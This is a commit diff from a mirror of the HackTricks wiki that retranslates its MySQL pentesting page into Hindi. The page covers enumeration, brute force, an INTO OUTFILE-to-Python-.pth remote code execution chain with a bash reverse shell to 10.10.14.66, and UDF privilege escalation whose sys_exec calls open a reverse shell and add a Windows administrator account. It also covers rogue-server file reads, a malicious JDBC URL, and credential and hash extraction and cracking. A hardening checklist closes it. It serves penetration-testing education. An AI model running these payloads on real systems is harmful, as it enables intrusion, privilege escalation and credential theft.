maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/network-services-pentesting/pentesting-web/php-tric

Browse Source
This commit is contained in:
Translator 2025-09-03 19:16:32 +00:00
parent 03cfcca9ab
commit 78dcc185ac
6 changed files with 685 additions and 589 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

174
src/network-services-pentesting/pentesting-mysql.md
View File

@ -4,27 +4,27 @@
## **बुनियादी जानकारी**
**MySQL** को एक ओपन सोर्स **रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS)** के रूप में वर्णित किया जा सकता है जो बिना किसी लागत के उपलब्ध है। यह **संरचित क्वेरी भाषा (SQL)** पर काम करता है, जो डेटाबेस के प्रबंधन और हेरफेर की अनुमति देता है।
**MySQL** को एक खुला स्रोत (open source) **Relational Database Management System (RDBMS)** कहा जा सकता है जो नि:शुल्क उपलब्ध है। यह **Structured Query Language (SQL)** पर कार्य करता है, जो डेटाबेस के प्रबंधन और हेरफेर को सक्षम बनाता है।
**डिफ़ॉल्ट पोर्ट:** 3306
```
3306/tcp open mysql
```
## **जोड़ें**
## **कनेक्ट**
### **स्थानीय**
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### दूरस्थ
### रिमोट
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## External Enumeration
कुछ Enumeration क्रियाओं के लिए मान्य क्रेडेंशियल्स की आवश्यकता होती है
कुछ enumeration क्रियाओं के लिए वैध credentials आवश्यक हैं।
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -34,14 +34,14 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**ब्रूट फोर्स**](../generic-hacking/brute-force.md#mysql)
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### कोई भी बाइनरी डेटा लिखें
### किसी भी बाइनरी डेटा को लिखें
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **MySQL कमांड**
## **MySQL कमांड्स**
```bash
show databases;
use <database>;
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL अनुमतियों की गणना
### MySQL अनुमतियों का अनुक्रमण
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -101,43 +101,44 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
आप दस्तावेज़ों में प्रत्येक विशेषाधिकार का अर्थ देख सकते हैं: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
### MySQL फ़ाइल RCE
{{#ref}}
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक)
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करके, उन लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त करना संभव है जो बाद में **Python** स्क्रिप्ट चलाते हैं।
classic `INTO OUTFILE` primitive का दुरुपयोग करके उन टार्गेट्स पर जहाँ बाद में **Python** scripts चलती हैं, *arbitrary code execution* प्राप्त किया जा सकता है।
1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)।
2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है, इसके बाद मनमाना Python कोड होता है जिसे हर बार इंटरप्रेटर शुरू होने पर निष्पादित किया जाएगा।
3. जब CGI स्क्रिप्ट द्वारा इंटरप्रेटर को निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित होता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)।
1. `INTO OUTFILE` का उपयोग करके किसी भी directory में एक कस्टम **`.pth`** फ़ाइल डालें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (उदा. `.../lib/python3.10/site-packages/`)।
2. `.pth` फ़ाइल में `import ` से शुरू होने वाली *एक ही लाइन* हो सकती है, जिसके बाद arbitrary Python code होगा जो interpreter के प्रत्येक स्टार्ट पर निष्पादित होगा।
3. जब interpreter किसी CGI script द्वारा implicitly execute किया जाता है (उदा. `/cgi-bin/ml-draw.py` जिसमें shebang `#!/bin/python` है), तो payload उसी privileges के साथ execute होता है जो web-server process के हैं (FortiWeb ने इसे **root** के रूप में चलाया → full pre-auth RCE)।
उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है):
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
एक **UNION** क्वेरी के माध्यम से फ़ाइल बनाने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना):
उदाहरण: फ़ाइल को **UNION** query के माध्यम से तैयार करने का उदाहरण (space characters को `/**/` से बदला गया है ताकि `sscanf("%128s")` के space filter को bypass किया जा सके और कुल लंबाई ≤128 bytes बनी रहे):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
महत्वपूर्ण सीमाएँ और बायपास:
Important limitations & bypasses:
* `INTO OUTFILE` **मौजूदा फाइलों को अधिलेखित** नहीं कर सकता; एक नया फ़ाइल नाम चुनें।
* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रारंभ करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है।
* यदि हमलावर का इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें।
* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **root** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है।
* `INTO OUTFILE` **मौजूदा फ़ाइलों को अधिलेखित नहीं कर सकता**; एक नया फ़ाइलनाम चुनें.
* फ़ाइल पथ को **MySQL’s CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` जोड़ने से पथ छोटा करने और absolute-path प्रतिबंधों को बायपास करने में मदद मिलती है.
* यदि attacker इनपुट `%128s` (या समान) से निकाला जाता है तो कोई भी स्पेस payload को truncate कर देगा; स्पेस की जगह MySQL comment sequences `/**/` या `/*!*/` का उपयोग करें.
* Query चलाने वाला MySQL user को `FILE` privilege की आवश्यकता होती है, लेकिन कई appliances (e.g. FortiWeb) में service **root** के रूप में चलती है, जिससे लगभग हर जगह write access मिल जाता है.
`.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है:
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python प्रक्रिया स्वचालित रूप से दुर्भावनापूर्ण `.pth` को आयात करेगी और शेल पेलोड को निष्पादित करेगी।
Python प्रक्रिया स्वचालित रूप से दुर्भावनापूर्ण `.pth` को import करेगी और shell payload को execute करेगी।
```
# Attacker
$ nc -lvnp 4444
@ -146,23 +147,22 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL द्वारा क्लाइंट द्वारा मनमाना फ़ाइल पढ़ना
## MySQL arbitrary read file by client
वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है:
वास्तव में, जब आप किसी टेबल में **load data local into a table** करने की कोशिश करते हैं, तो MySQL या MariaDB सर्वर उस **content of a file** को पढ़ने और सामग्री भेजने के लिए **client to read it** से अनुरोध करता है। **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
कृपया ध्यान दें कि यह व्यवहार निम्न का उपयोग करने पर होता है:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(ध्यान दें "local" शब्द)\
क्योंकि "local" के बिना आप प्राप्त कर सकते हैं:
(ध्यान दें कि "local" शब्द)\ क्योंकि "local" के बिना आप प्राप्त कर सकते हैं:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**प्रारम्भिक PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**इस पेपर में आप हमले का पूरा विवरण और इसे RCE तक कैसे विस्तारित किया जा सकता है देख सकते हैं:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**यहाँ आप हमले का अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
​
@ -172,23 +172,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql User
यह बहुत दिलचस्प होगा यदि mysql **root** के रूप में चल रहा है:
यह बहुत दिलचस्प होगा अगर mysql **root** के रूप में चल रहा हो:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnf के खतरनाक सेटिंग्स
#### mysqld.cnf की खतरनाक सेटिंग्स
MySQL सेवाओं की कॉन्फ़िगरेशन में, इसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है:
MySQL सेवाओं के कॉन्फ़िगरेशन में, उसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है:
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा चलाई जाएगी।
- **`password`** का उपयोग MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए किया जाता है।
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
- **`debug`** वेरिएबल वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
- **`secure_file_priv`** के साथ, डेटा आयात और निर्यात संचालन के दायरे को सुरक्षा बढ़ाने के लिए सीमित किया जाता है।
- **`user`** सेटिंग उस उपयोगकर्ता को निर्दिष्ट करने के लिए उपयोग की जाती है जिसके तहत MySQL सेवा चलायी जाएगी।
- **`password`** का उपयोग MySQL उपयोगकर्ता से जुड़ा पासवर्ड निर्धारित करने के लिए किया जाता है।
- **`admin_address`** प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनने वाला IP पता निर्दिष्ट करता है।
- **`debug`** वेरिएबल वर्तमान debugging कॉन्फ़िगरेशन को दर्शाता है, जिससे लॉग्स में संवेदनशील जानकारी शामिल हो सकती है।
- **`sql_warnings`** यह नियंत्रित करता है कि चेतावनियों के आने पर single-row INSERT statements के लिए सूचना स्ट्रिंग्स उत्पन्न हों या नहीं, जो लॉग्स में संवेदनशील डेटा शामिल कर सकती हैं।
- **`secure_file_priv`** के साथ, डेटा इम्पोर्ट और एक्सपोर्ट ऑपरेशनों का दायरा सीमित किया जाता है ताकि सुरक्षा बढ़ाई जा सके।
### विशेषाधिकार वृद्धि
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -208,16 +208,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **लाइब्रेरी** की आवश्यकता होगी जो mysql चला रहा है।
यदि **mysql server is running as root** (or a different more privileged user) है, तो आप इसे कमांड्स चलाने के लिए मजबूर कर सकते हैं। इसके लिए, आपको **user defined functions** का उपयोग करना होगा। और एक user defined function बनाने के लिए आपको उस OS के लिए एक **library** चाहिए होगा जिस पर mysql चल रहा है।
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** वाली हैं, वह चुनें जो आपको चाहिए।
इस्तेमाल करने के लिए malicious library sqlmap और metasploit के अंदर मिल सकती है — इसे खोजने के लिए **`locate "*lib_mysqludf_sys*"`** चलाएँ। **`.so`** फाइलें **linux** libraries होती हैं और **`.dll`** फाइलें **Windows** की होती हैं; अपनी आवश्यकता के अनुसार चुनें।
यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
यदि आपके पास वे libraries **नहीं हैं**, तो आप या तो **उन्हें खोज सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करके vulnerable **linux** मशीन के अंदर **कम्पाइल कर सकते हैं**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
अब जब आपके पास लाइब्रेरी है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
अब जब आपके पास लाइब्रेरी है, Mysql में privileged user (root?) के रूप में लॉग इन करें और अगले कदमों का पालन करें:
#### Linux
```sql
@ -239,7 +239,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### Windows
#### विंडोज़
```sql
# CHech the linux comments for more indications
USE mysql;
@ -251,23 +251,32 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extracting MySQL credentials from files
#### Windows टिप: SQL से NTFS ADS के साथ डायरेक्टरीज़ बनाना
Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
NTFS पर आप alternate data stream का उपयोग करके डायरेक्टरी निर्माण बाध्य कर सकते हैं, भले ही केवल एक file write primitive मौजूद हो। यदि classic UDF chain एक `plugin` डायरेक्टरी की उम्मीद करता है लेकिन वह मौजूद नहीं है और `@@plugin_dir` अज्ञात या लॉकडाउन किया गया है, तो आप पहले इसे `::$INDEX_ALLOCATION` के साथ बना सकते हैं:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
यह सीमित `SELECT ... INTO OUTFILE` को Windows स्टैक्स पर UDF drops के लिए आवश्यक फ़ोल्डर संरचना बूटस्ट्रैप करके एक अधिक पूर्ण primitive में बदल देता है।
### फ़ाइलों से MySQL क्रेडेंशियल निकालना
_/etc/mysql/debian.cnf_ के अंदर आपको उपयोगकर्ता **debian-sys-maint** का **सादा-पाठ पासवर्ड** मिल सकता है।
```bash
cat /etc/mysql/debian.cnf
```
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**।
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए** कर सकते हैं।
फाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं_।
फ़ाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आपको **MySQL उपयोगकर्ताओं के सभी hashes** मिलेंगे (वे जिन्हें आप mysql.user से डेटाबेस के अंदर निकाल सकते हैं)_._
आप इन्हें निकाल सकते हैं:
इन्हें आप इस तरह निकाल सकते हैं:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### लॉगिंग सक्षम करना
आप `/etc/mysql/my.cnf` के अंदर mysql क्वेरीज़ का लॉगिंग सक्षम कर सकते हैं निम्नलिखित लाइनों को अनकमेंट करके:
आप `/etc/mysql/my.cnf` के अंदर mysql क्वेरियों की लॉगिंग सक्षम कर सकते हैं, निम्नलिखित लाइनों को uncomment करके:
![](<../images/image (899).png>)
@ -295,7 +304,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
- update.log
- common.log
## डिफ़ॉल्ट MySQL डेटाबेस/तालिकाएँ
## डिफ़ॉल्ट MySQL Database/Tables
{{#tabs}}
{{#tab name="information_schema"}}
@ -572,7 +581,7 @@ x$host\_summary\_by\_statement\_latency\
x$host_summary_by_statement_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb_buffer_stats_by_table\
x$innodb\_lock\_waits\
x$innodb\_lock_waits\
x$io_by_thread_by_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io_global_by_file_by_latency\
@ -600,7 +609,7 @@ x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements_with_sorting\
x$statements\_with\_temp\_tables\
x$statements_with_temp_tables\
x$user_summary\
x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
@ -615,7 +624,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## HackTricks स्वचालित कमांड
## HackTricks Automatic Commands
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -646,36 +655,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (नया)
## 2023-2025 Highlights (new)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32 से एक हमलावर जो **JDBC URL** को प्रभावित कर सकता है (उदाहरण के लिए, तीसरे पक्ष के सॉफ़्टवेयर में जो कनेक्शन स्ट्रिंग के लिए पूछता है) वह `propertiesTransform` पैरामीटर के माध्यम से *क्लाइंट* पक्ष पर मनचाहे क्लास को लोड करने के लिए अनुरोध कर सकता है। यदि क्लास-पाथ पर मौजूद एक गैजेट लोड करने योग्य है, तो इसका परिणाम **JDBC क्लाइंट के संदर्भ में दूरस्थ कोड निष्पादन** में होता है (पूर्व-प्रमाणित, क्योंकि कोई मान्य क्रेडेंशियल की आवश्यकता नहीं होती)। एक न्यूनतम PoC इस तरह दिखता है:
Connector/J <= 8.0.32 से, एक हमलावर जो **JDBC URL** को प्रभावित कर सकता है (उदाहरण के लिए ऐसे third-party software में जो connection string माँगता है) `propertiesTransform` parameter के माध्यम से arbitrary classes को *client* साइड पर लोड करने का अनुरोध कर सकता है। यदि class-path पर मौजूद कोई gadget लोड हो सकता है तो इससे **remote code execution in the context of the JDBC client** होता है (pre-auth, क्योंकि कोई valid credentials आवश्यक नहीं हैं)। एक minimal PoC इस प्रकार दिखता है:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
`Evil.class` चलाना कमजोर एप्लिकेशन के क्लास-पाथ पर इसे उत्पन्न करने या एक धोखेबाज़ MySQL सर्वर को एक दुर्भावनापूर्ण सीरियलाइज्ड ऑब्जेक्ट भेजने की अनुमति देने जितना आसान हो सकता है। यह समस्या Connector/J 8.0.33 में ठीक की गई थी - ड्राइवर को अपडेट करें या `propertiesTransform` को अनुमति सूची पर स्पष्ट रूप से सेट करें।
(विवरण के लिए Snyk लेख देखें)
Running `Evil.class` चलाना उतना ही आसान हो सकता है जितना इसे vulnerable application के class-path पर रखना या किसी rogue MySQL server को एक malicious serialized object भेजने देना। इस issue को Connector/J 8.0.33 में fix किया गया था — driver को upgrade करें या explicitly `propertiesTransform` को allow-list पर सेट करें।
(विवरण के लिए Snyk write-up देखें)
### JDBC क्लाइंट के खिलाफ धोखेबाज़ / नकली MySQL सर्वर हमले
कई ओपन-सोर्स उपकरण *आंशिक* MySQL प्रोटोकॉल को लागू करते हैं ताकि वे बाहर कनेक्ट करने वाले JDBC क्लाइंट पर हमला कर सकें:
### Rogue / Fake MySQL server attacks against JDBC clients
कई open-source टूल्स आउटवर्ड कनेक्ट करने वाले JDBC क्लाइंट्स पर हमला करने के लिए MySQL protocol का *partial* हिस्सा implement करते हैं:
* **mysql-fake-server** (Java, फ़ाइल पढ़ने और डीसिरियलाइजेशन शोषण का समर्थन करता है)
* **mysql-fake-server** (Java, file read और deserialization exploits को सपोर्ट करता है)
* **rogue_mysql_server** (Python, समान क्षमताएँ)
विशिष्ट हमले के रास्ते:
आम हमले के रास्ते:
1. पीड़ित एप्लिकेशन `allowLoadLocalInfile=true` या `autoDeserialize=true` के साथ `mysql-connector-j` लोड करता है।
2. हमलावर DNS / होस्ट प्रविष्टि को नियंत्रित करता है ताकि DB का होस्टनेम उनके नियंत्रण में मशीन पर हल हो सके।
3. दुर्भावनापूर्ण सर्वर तैयार पैकेट के साथ प्रतिक्रिया करता है जो या तो `LOCAL INFILE` मनमाने फ़ाइल पढ़ने या Java डीसिरियलाइजेशन → RCE को ट्रिगर करता है।
1. विक्टिम एप्लिकेशन `mysql-connector-j` लोड करता है जिसमें `allowLoadLocalInfile=true` या `autoDeserialize=true` सेट है।
2. आक्रमणकर्ता DNS / host entry नियंत्रित करता है ताकि DB का hostname उनके नियंत्रण वाले मशीन पर resolve हो।
3. दुर्भावनापूर्ण सर्वर crafted packets के साथ जवाब देता है जो या तो `LOCAL INFILE` arbitrary file read या Java deserialization को ट्रिगर करते हैं → RCE.
नकली सर्वर शुरू करने के लिए एक उदाहरण एक-लाइनर (Java):
Example one-liner to start a fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
फिर पीड़ित एप्लिकेशन को `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` पर इंगित करें और फ़ाइल नाम को *username* फ़ील्ड में base64 के रूप में एन्कोड करके `/etc/passwd` पढ़ें (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)।
फिर लक्षित एप्लिकेशन को `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` की ओर पॉइंट करें और *username* फ़ील्ड में फ़ाइलनाम को base64 में एन्कोड करके `/etc/passwd` पढ़ें (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### `caching_sha2_password` हैश को क्रैक करना
MySQL ≥ 8.0 पासवर्ड हैश को **`$mysql-sha2$`** (SHA-256) के रूप में स्टोर करता है। Hashcat (मोड **21100**) और John-the-Ripper (`--format=mysql-sha2`) 2023 से ऑफ़लाइन क्रैकिंग का समर्थन करते हैं। `authentication_string` कॉलम को डंप करें और इसे सीधे फीड करें:
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 पासवर्ड हैश को **`$mysql-sha2$`** (SHA-256) के रूप में स्टोर करता है। Hashcat (mode **21100**) और John-the-Ripper (`--format=mysql-sha2`) दोनों 2023 से offline cracking को सपोर्ट करते हैं। `authentication_string` कॉलम को dump करें और सीधे फीड करें:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,19 +694,22 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### हार्डनिंग चेकलिस्ट (2025)
• **`LOCAL_INFILE=0`** और **`--secure-file-priv=/var/empty`** सेट करें ताकि अधिकांश फ़ाइल-पढ़ने/लिखने की प्राइमिटिव्स को समाप्त किया जा सके।
• एप्लिकेशन खातों से **`FILE`** विशेषाधिकार हटा दें।
• Connector/J पर `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (खाली) सेट करें।
• अप्रयुक्त प्रमाणीकरण प्लगइन्स को अक्षम करें और **TLS की आवश्यकता करें** (`require_secure_transport = ON`)।
• `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` और अचानक `SET GLOBAL` बयानों की निगरानी करें।
• **`LOCAL_INFILE=0`** और **`--secure-file-priv=/var/empty`** सेट करें ताकि अधिकांश फ़ाइल पढ़ने/लिखने की primitives निष्क्रिय हो जाएँ।
• एप्लिकेशन खातों से **`FILE`** अधिकार हटा दें।
• Connector/J पर `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (खाली) सेट करें।
• अप्रयुक्त authentication plugins को अक्षम करें और **TLS अनिवार्य करें** (`require_secure_transport = ON`)।
• निगरानी रखें: `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` और अचानक होने वाले `SET GLOBAL` स्टेटमेंट्स के लिए।
---
## संदर्भ
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
